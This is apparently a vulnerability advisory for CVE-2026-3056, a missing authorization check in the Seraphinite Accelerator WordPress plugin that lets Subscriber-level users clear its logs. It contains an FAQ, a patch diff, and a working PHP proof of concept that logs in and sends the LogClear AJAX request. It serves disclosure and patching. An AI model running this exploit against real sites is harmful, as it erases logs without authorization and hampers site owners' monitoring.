What is CVE-2026-3056?

CVE-2026-3056 is a security vulnerability in the Seraphinite Accelerator plugin for WordPress. It involves a missing capability check that allows authenticated users with Subscriber-level access and above to clear the plugin’s operational logs without proper authorization.

How does this vulnerability work?

The vulnerability arises from the lack of a capability check in the AJAX action `seraph_accel_api` with the `fn=LogClear` parameter. Authenticated users can send a request to clear logs, which could disrupt debugging and operational monitoring.

Who is affected by this vulnerability?

All users of the Seraphinite Accelerator plugin version 2.28.14 and earlier are affected. This includes any WordPress site where the plugin is installed and where users have Subscriber-level access or higher.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Seraphinite Accelerator plugin you are using. If it is version 2.28.14 or earlier, your site is at risk and should be updated.

How can I fix CVE-2026-3056?

The vulnerability can be fixed by updating the Seraphinite Accelerator plugin to version 2.28.15 or later. This version includes the necessary capability checks to prevent unauthorized log clearing.

What does the severity rating mean?

CVE-2026-3056 has a medium severity rating with a CVSS score of 4.3. This indicates that while the vulnerability is not critical, it poses a moderate risk that could lead to unauthorized data modification.

What are the practical implications of this vulnerability?

The primary impact of this vulnerability is the potential for unauthorized users to clear debug and operational logs. This can hinder troubleshooting and monitoring efforts, but it does not directly compromise the integrity of the site.

What is the proof of concept for this vulnerability?

The proof of concept demonstrates how an authenticated user can exploit the vulnerability by sending a POST request to the AJAX endpoint to clear logs. It shows the steps to authenticate and perform the log-clearing action without proper authorization.

What steps should I take if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider temporarily restricting access to the AJAX action or limiting Subscriber-level user capabilities. Monitor logs for any unauthorized access attempts.

Is there any additional information available about this vulnerability?

For more detailed information, you can refer to the official CVE database or the plugin’s changelog. Security advisories from WordPress security experts may also provide insights into mitigation strategies.

How can I stay informed about vulnerabilities like CVE-2026-3056?

To stay informed, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the plugin repositories for updates. Additionally, consider using security plugins that monitor vulnerabilities.

What should I do if I suspect my site has been compromised?

If you suspect a compromise, immediately review your logs for unauthorized access, change passwords, and consider restoring from a backup. Engage with a security professional if necessary to conduct a thorough investigation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-3056: Seraphinite Accelerator <= 2.28.14 – Missing Authorization to Authenticated (Subscriber+) Log Clearing (seraphinite-accelerator)

CVE ID CVE-2026-3056

Plugin seraphinite-accelerator

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 2.28.14

Patched Version 2.28.15

Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3056: The vulnerability is a missing capability check in the Seraphinite Accelerator WordPress plugin. The root cause is the `OnAdminApi_LogClear` function in `/seraphinite-accelerator/main.php` (line 2478) lacking a `current_user_can(‘manage_options’)` authorization check. This function handles the `seraph_accel_api` AJAX action with the `fn=LogClear` parameter. The plugin registers this AJAX handler for both privileged and unprivileged users via `add_action(‘wp_ajax_seraph_accel_api’, ‘seraph_accelOnAdminApi’);`. Any authenticated user, including those with Subscriber-level permissions, can send a POST request to `/wp-admin/admin-ajax.php` with `action=seraph_accel_api` and `fn=LogClear`. The handler executes `Gen::LogClear( GetCacheDir() . LogGetRelativeFile(), true );`, clearing the plugin’s debug and operational logs. The patch adds the missing capability check at lines 2480-2482 in `main.php`, ensuring only users with the `manage_options` capability (typically Administrators) can invoke the log clearing function. Atomic Edge research confirms this prevents unauthorized data modification. The impact is limited to log clearing, which can disrupt debugging and operational monitoring but does not directly compromise site integrity.

Differential between vulnerable and patched code

Code Diff

--- a/seraphinite-accelerator/Cmn/Gen.php
+++ b/seraphinite-accelerator/Cmn/Gen.php
@@ -3654,7 +3654,7 @@
 		if( !isset( $args[ 'provider' ] ) )
 			$args[ 'provider' ] = 'CURL';
 		if( !isset( $args[ 'user-agent' ] ) )
-			$args[ 'user-agent' ] = 'seraph-accel-Agent/2.28.14';
+			$args[ 'user-agent' ] = 'seraph-accel-Agent/2.28.15';
 		if( !isset( $args[ 'timeout' ] ) )
 			$args[ 'timeout' ] = 5;

--- a/seraphinite-accelerator/Cmn/Plugin.php
+++ b/seraphinite-accelerator/Cmn/Plugin.php
@@ -306,7 +306,7 @@
 			$args[ 'epid' ] = Wp::GetSiteId();
 			$args[ 'id' ] = 'wordpress-accelerator';
 			$args[ 'name' ] = 'Accelerator';
-			$args[ 'v' ] = '2.28.14';
+			$args[ 'v' ] = '2.28.15';
 			$args[ 'pk' ] = 'Base';
 			$args[ 'cfg' ] = '';
 			$args[ 'loc' ] = Wp::GetLocale();
@@ -328,11 +328,11 @@
 		if( $lastCheckPackage === null && $lastCheckVer !== null )
 			$lastCheckPackage = 'Base';

-		if( $lastCheckVer !== '2.28.14' || $lastCheckPackage !== 'Base' )
+		if( $lastCheckVer !== '2.28.15' || $lastCheckPackage !== 'Base' )
 		{
 			$state = Plugin::StateGet();

-			if( $lastCheckVer !== '2.28.14' && !isset( $state[ 'changeVerCheck' ] ) )
+			if( $lastCheckVer !== '2.28.15' && !isset( $state[ 'changeVerCheck' ] ) )
 			{
 				$state[ 'changeVerCheck' ] = $lastCheckVer !== null ? $lastCheckVer : '';
 				Plugin::StateSet( $state );
@@ -349,7 +349,7 @@

 		if( !$bForce )
 		{
-			if( $bFirstTimeOnly && $lastCheckVer == '2.28.14' )
+			if( $bFirstTimeOnly && $lastCheckVer == '2.28.15' )
 				return( Gen::S_FALSE );

 			$lastUpdTime = ($data[ 'updTime' ]??null);
@@ -368,7 +368,7 @@
 			$args[ 'epid' ] = Wp::GetSiteId();
 			$args[ 'id' ] = 'wordpress-accelerator';
 			$args[ 'name' ] = 'Accelerator';
-			$args[ 'v' ] = '2.28.14';
+			$args[ 'v' ] = '2.28.15';
 			$args[ 'pk' ] = 'Base';
 			$args[ 'cfg' ] = '';
 			$args[ 'loc' ] = Wp::GetLocale();
@@ -385,7 +385,7 @@
 			if( $data[ 'mdfTime' ] >= $timeMdf )
 			{
 				$data[ 'updTime' ] = $curUpdTime;
-				$data[ 'plgVer' ] = '2.28.14';
+				$data[ 'plgVer' ] = '2.28.15';
 				$data[ 'plgPk' ] = 'Base';

 				$hr = PluginOptions::Set( self::STG_VER, self::STG_ID, $data, __CLASS__ . '::' );
@@ -402,7 +402,7 @@

 		$data[ 'mdfTime' ] = $timeMdf;
 		$data[ 'updTime' ] = $curUpdTime;
-		$data[ 'plgVer' ] = '2.28.14';
+		$data[ 'plgVer' ] = '2.28.15';
 		$data[ 'plgPk' ] = 'Base';

 		if( $timeMdf )
@@ -1459,10 +1459,10 @@
 		$rmtCfg = PluginRmtCfg::Get();

 		$urlProductInfo = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlProductInfo' );
-		$urlAboutPluginImg = file_exists( __DIR__ . '/../Images/ProductLogo.png' ) ? add_query_arg( array( 'v' => '2.28.14' ), Plugin::FileUri( '../Images/ProductLogo.png', __FILE__ ) ) : null;
+		$urlAboutPluginImg = file_exists( __DIR__ . '/../Images/ProductLogo.png' ) ? add_query_arg( array( 'v' => '2.28.15' ), Plugin::FileUri( '../Images/ProductLogo.png', __FILE__ ) ) : null;
 		$urlAboutPluginDocs = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlProductDocs' );
 		$urlAboutPluginSupport = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlProductSupport' );
-		$url3rdPartySoft = file_exists( __DIR__ . '/../third-party-software.html' ) ? add_query_arg( array( 'v' => '2.28.14' ), Plugin::FileUri( '../third-party-software.html', __FILE__ ) ) : null;
+		$url3rdPartySoft = file_exists( __DIR__ . '/../third-party-software.html' ) ? add_query_arg( array( 'v' => '2.28.15' ), Plugin::FileUri( '../third-party-software.html', __FILE__ ) ) : null;

 		$urlEula = null;

@@ -1471,7 +1471,7 @@
 		$res .= Ui::Tag( 'p' );

 		{
-			$version = esc_html( '2.28.14' );
+			$version = esc_html( '2.28.15' );

 			$res .= Ui::TagOpen( 'div' );

@@ -1520,7 +1520,7 @@
 	{
 		$rmtCfg = PluginRmtCfg::Get();

-		$urlAboutUsLogoImg = file_exists( __DIR__ . '/../Images/VendorLogo.png' ) ? add_query_arg( array( 'v' => '2.28.14' ), Plugin::FileUri( '../Images/VendorLogo.png', __FILE__ ) ) : null;
+		$urlAboutUsLogoImg = file_exists( __DIR__ . '/../Images/VendorLogo.png' ) ? add_query_arg( array( 'v' => '2.28.15' ), Plugin::FileUri( '../Images/VendorLogo.png', __FILE__ ) ) : null;
 		$urlMorePlugins = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlMorePlugins' );
 		$urlMoreInfo = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlMain' );

@@ -2049,7 +2049,7 @@
 				return( null );

 			$verFrom = self::_PrevVer_GetInt( $plgVerPrev );
-			$verTo = self::_PrevVer_GetInt( '2.28.14' );
+			$verTo = self::_PrevVer_GetInt( '2.28.15' );
 			if( $verTo < $verFrom )
 				list( $verTo, $verFrom ) = array( $verFrom, $verTo );

@@ -2174,7 +2174,7 @@
 			if( (self::$g_aAlreadyIncludedObj[ 'css' ][ $id ]??null) )
 				continue;

-			wp_enqueue_style( Plugin::CmnScriptId( $id ), add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.css' ), array(), '2.28.14' );
+			wp_enqueue_style( Plugin::CmnScriptId( $id ), add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.css' ), array(), '2.28.15' );

 			self::$g_aAlreadyIncludedObj[ 'css' ][ $id ] = true;
 		}
@@ -2241,7 +2241,7 @@

 			$scrHndId = Plugin::CmnScriptId( $id );

-			wp_register_script( $scrHndId, add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.js' ), $deps, '2.28.14' );
+			wp_register_script( $scrHndId, add_query_arg( Plugin::GetFileUrlPackageParams(), $fileUrl . '/' . $id . '.js' ), $deps, '2.28.15' );
 			if( $id == 'Gen' )
 				Plugin::Loc_ScriptLoad( $scrHndId );
 			wp_enqueue_script( $scrHndId );
@@ -2686,7 +2686,7 @@

 							var sendDataUrl = "<?php echo( Gen::GetArrField( $rmtCfg, 'Questionnaires.SendAnswerUrlTpl' ) ); ?>";
 							sendDataUrl = sendDataUrl.replace( "{EndPointId}",					encodeURI( "<?php echo( Wp::GetSiteId() ); ?>" ) );
-							sendDataUrl = sendDataUrl.replace( "{PluginVersion}",				encodeURI( "2.28.14" ) );
+							sendDataUrl = sendDataUrl.replace( "{PluginVersion}",				encodeURI( "2.28.15" ) );
 							sendDataUrl = sendDataUrl.replace( "{PluginMode}",					encodeURI( "base" ) );
 							sendDataUrl = sendDataUrl.replace( "{PluginPackage}",				encodeURI( "Base" ) );
 							sendDataUrl = sendDataUrl.replace( "{QuestionnaireId}",				encodeURI( "<?php echo( ($q[ 'id' ]??null) ); ?>" ) );
--- a/seraphinite-accelerator/cache.php
+++ b/seraphinite-accelerator/cache.php
@@ -676,7 +676,7 @@
 		}

 	if( $bHdr )
-		@header( 'X-Seraph-Accel-Cache: 2.28.14;' . $debugInfo );
+		@header( 'X-Seraph-Accel-Cache: 2.28.15;' . $debugInfo );

 	if( $bLog )
 	{
@@ -1583,7 +1583,7 @@
 	if( ($settCache[ 'normAgent' ]??null) )
 	{
 		$_SERVER[ 'SERAPH_ACCEL_ORIG_USER_AGENT' ] = ($_SERVER[ 'HTTP_USER_AGENT' ]??'');
-		$_SERVER[ 'HTTP_USER_AGENT' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.14';
+		$_SERVER[ 'HTTP_USER_AGENT' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.15';
 	}

 	if( ($settCache[ 'views' ]??null) )
--- a/seraphinite-accelerator/common.php
+++ b/seraphinite-accelerator/common.php
@@ -4169,7 +4169,7 @@

 function GetViewTypeUserAgent( $viewsDeviceGrp )
 {
-	return( 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.14 ' . ucwords( implode( ' ', Gen::GetArrField( $viewsDeviceGrp, array( 'agents' ), array() ) ) ) );
+	return( 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.15 ' . ucwords( implode( ' ', Gen::GetArrField( $viewsDeviceGrp, array( 'agents' ), array() ) ) ) );
 }

 function CorrectRequestScheme( &$serverArgs, $target = null )
@@ -5473,7 +5473,7 @@

 	$args = array( 'sslverify' => false, 'timeout' => $timeout, 'headers' => array() );
 	if( $userAgentCmn )
-		$args[ 'headers' ][ 'User-Agent' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.14';
+		$args[ 'headers' ][ 'User-Agent' ] = 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.15';

 	global $seraph_accel_g_aGetExtContentsFailedSrvs;

@@ -5981,7 +5981,7 @@
 	foreach( $aHdrs as $hdrsId => $headers )
 	{
 		if( !isset( $headers[ 'User-Agent' ] ) )
-			$headers[ 'User-Agent' ] = ($headers[ 'X-Seraph-Accel-Postpone-User-Agent' ]??'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.14');
+			$headers[ 'User-Agent' ] = ($headers[ 'X-Seraph-Accel-Postpone-User-Agent' ]??'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.15');
 		$headers[ 'User-Agent' ] = str_replace( 'seraph-accel-Agent/', 'seraph-accel-Agent-WarmUp/', $headers[ 'User-Agent' ] );

 		if( isset( $headers[ 'X-Seraph-Accel-Geo-Remote-Addr' ] ) )
--- a/seraphinite-accelerator/main.php
+++ b/seraphinite-accelerator/main.php
@@ -41,7 +41,7 @@

 function _AddMenus( $accepted = false )
 {
-	add_menu_page( Plugin::GetPluginString( 'TitleLong' ), Plugin::GetNavMenuTitle(), 'manage_options', 'seraph_accel_manage',																		$accepted ? 'seraph_accel\_ManagePage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent', Plugin::FileUri( 'icon.png?v=2.28.14', __FILE__ ) );
+	add_menu_page( Plugin::GetPluginString( 'TitleLong' ), Plugin::GetNavMenuTitle(), 'manage_options', 'seraph_accel_manage',																		$accepted ? 'seraph_accel\_ManagePage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent', Plugin::FileUri( 'icon.png?v=2.28.15', __FILE__ ) );
 	add_submenu_page( 'seraph_accel_manage', esc_html_x( 'Title', 'admin.Manage', 'seraphinite-accelerator' ), esc_html_x( 'Title', 'admin.Manage', 'seraphinite-accelerator' ), 'manage_options', 'seraph_accel_manage',	$accepted ? 'seraph_accel\_ManagePage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent' );
 	add_submenu_page( 'seraph_accel_manage', Wp::GetLocString( 'Settings' ), Wp::GetLocString( 'Settings' ), 'manage_options', 'seraph_accel_settings',										$accepted ? 'seraph_accel\_SettingsPage' : 'seraph_accel\Plugin::OutputNotAcceptedPageContent' );
 }
@@ -1285,7 +1285,7 @@
 function _ManagePage()
 {
 	Plugin::CmnScripts( array( 'Cmn', 'Gen', 'Ui', 'Net', 'AdminUi' ) );
-	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.28.14' );
+	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.28.15' );
 	Plugin::Loc_ScriptLoad( Plugin::ScriptId( 'Admin' ) );
 	wp_enqueue_script( Plugin::ScriptId( 'Admin' ) );

@@ -1527,7 +1527,7 @@
 {
 	$rmtCfg = PluginRmtCfg::Get();

-	$urlLogoImg = add_query_arg( array( 'v' => '2.28.14' ), Plugin::FileUri( 'Images/hosting-icon-banner.svg', __FILE__ ) );
+	$urlLogoImg = add_query_arg( array( 'v' => '2.28.15' ), Plugin::FileUri( 'Images/hosting-icon-banner.svg', __FILE__ ) );
 	$urlMoreInfo = Plugin::RmtCfgFld_GetLoc( $rmtCfg, 'Links.UrlHostingInfo' );

 	$res = '';
@@ -2307,10 +2307,12 @@

 function OnAdminApi_GetData( $args )
 {
+	$res = array();

-	$siteId = !($args[ 'allSites' ]??null) ? GetSiteId() : null;
+	if( !current_user_can( 'manage_options' ) )
+		return( $res );

-	$res = array();
+	$siteId = !($args[ 'allSites' ]??null) ? GetSiteId() : null;

 	if( $siteId )
 	{
@@ -2478,6 +2480,9 @@

 function OnAdminApi_LogClear( $args )
 {
+	if( !current_user_can( 'manage_options' ) )
+		return;
+
 	Gen::LogClear( GetCacheDir() . LogGetRelativeFile(), true );
 }

--- a/seraphinite-accelerator/oper.php
+++ b/seraphinite-accelerator/oper.php
@@ -1215,7 +1215,7 @@

 	foreach( $viewId === null ? array( 'cmn' ) : $viewId as $viewIdI )
 		if( CacheOpViewsHeadersGetViewId( $viewIdI ) == 'cmn' )
-			$res[ $viewIdI ] = array( 'User-Agent' => 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.14' );
+			$res[ $viewIdI ] = array( 'User-Agent' => 'Mozilla/99999.9 AppleWebKit/9999999.99 (KHTML, like Gecko) Chrome/999999.0.9999.99 Safari/9999999.99 seraph-accel-Agent/2.28.15' );

 	if( ($settCache[ 'views' ]??null) )
 	{
--- a/seraphinite-accelerator/options.php
+++ b/seraphinite-accelerator/options.php
@@ -141,7 +141,7 @@
 	}

 	Plugin::CmnScripts( array( 'Cmn', 'Gen', 'Ui', 'Net', 'AdminUi' ) );
-	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.28.14' );
+	wp_register_script( Plugin::ScriptId( 'Admin' ), add_query_arg( Plugin::GetFileUrlPackageParams(), Plugin::FileUrl( 'Admin.js', __FILE__ ) ), array_merge( array( 'jquery' ), Plugin::CmnScriptId( array( 'Cmn', 'Gen', 'Ui', 'Net' ) ) ), '2.28.15' );
 	Plugin::Loc_ScriptLoad( Plugin::ScriptId( 'Admin' ) );
 	wp_enqueue_script( Plugin::ScriptId( 'Admin' ) );

--- a/seraphinite-accelerator/plugin_root.php
+++ b/seraphinite-accelerator/plugin_root.php
@@ -5,7 +5,7 @@
 Description: Turns on site high speed to be attractive for people and search engines.
 Text Domain: seraphinite-accelerator
 Domain Path: /languages
-Version: 2.28.14
+Version: 2.28.15
 Author: Seraphinite Solutions
 Author URI: https://www.s-sols.com
 License: GPLv2 or later (if another license is not provided)

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3056 - Seraphinite Accelerator <= 2.28.14 - Missing Authorization to Authenticated (Subscriber+) Log Clearing
<?php

$target_url = 'https://vulnerable-site.example.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate as a Subscriber-level user to obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($httpCode !== 200) {
    die('Login failed. Check credentials.');
}

// Step 2: Send the unauthorized AJAX request to clear logs
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'seraph_accel_api',
    'fn' => 'LogClear'
]));

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Step 3: Interpret the response
if ($httpCode === 200 && empty(trim($response))) {
    echo 'Log clearing likely successful (empty response expected).';
} else {
    echo 'Request completed with HTTP code: ' . $httpCode . ' and response: ' . $response;
}

?>

Frequently Asked Questions

What is CVE-2026-3056?
Overview of the vulnerability
CVE-2026-3056 is a security vulnerability in the Seraphinite Accelerator plugin for WordPress. It involves a missing capability check that allows authenticated users with Subscriber-level access and above to clear the plugin’s operational logs without proper authorization.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from the lack of a capability check in the AJAX action `seraph_accel_api` with the `fn=LogClear` parameter. Authenticated users can send a request to clear logs, which could disrupt debugging and operational monitoring.
Who is affected by this vulnerability?
Identifying impacted users
All users of the Seraphinite Accelerator plugin version 2.28.14 and earlier are affected. This includes any WordPress site where the plugin is installed and where users have Subscriber-level access or higher.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Seraphinite Accelerator plugin you are using. If it is version 2.28.14 or earlier, your site is at risk and should be updated.
How can I fix CVE-2026-3056?
Updating the plugin
The vulnerability can be fixed by updating the Seraphinite Accelerator plugin to version 2.28.15 or later. This version includes the necessary capability checks to prevent unauthorized log clearing.
What does the severity rating mean?
Understanding risk levels
CVE-2026-3056 has a medium severity rating with a CVSS score of 4.3. This indicates that while the vulnerability is not critical, it poses a moderate risk that could lead to unauthorized data modification.
What are the practical implications of this vulnerability?
Impact on WordPress sites
The primary impact of this vulnerability is the potential for unauthorized users to clear debug and operational logs. This can hinder troubleshooting and monitoring efforts, but it does not directly compromise the integrity of the site.
What is the proof of concept for this vulnerability?
Demonstrating the exploit
The proof of concept demonstrates how an authenticated user can exploit the vulnerability by sending a POST request to the AJAX endpoint to clear logs. It shows the steps to authenticate and perform the log-clearing action without proper authorization.
What steps should I take if I cannot update the plugin immediately?
Mitigation strategies
If you cannot update the plugin immediately, consider temporarily restricting access to the AJAX action or limiting Subscriber-level user capabilities. Monitor logs for any unauthorized access attempts.
Is there any additional information available about this vulnerability?
Further resources
For more detailed information, you can refer to the official CVE database or the plugin’s changelog. Security advisories from WordPress security experts may also provide insights into mitigation strategies.
How can I stay informed about vulnerabilities like CVE-2026-3056?
Keeping up with security updates
To stay informed, subscribe to security mailing lists, follow WordPress security blogs, and regularly check the plugin repositories for updates. Additionally, consider using security plugins that monitor vulnerabilities.
What should I do if I suspect my site has been compromised?
Response to potential breaches
If you suspect a compromise, immediately review your logs for unauthorized access, change passwords, and consider restoring from a backup. Engage with a security professional if necessary to conduct a thorough investigation.

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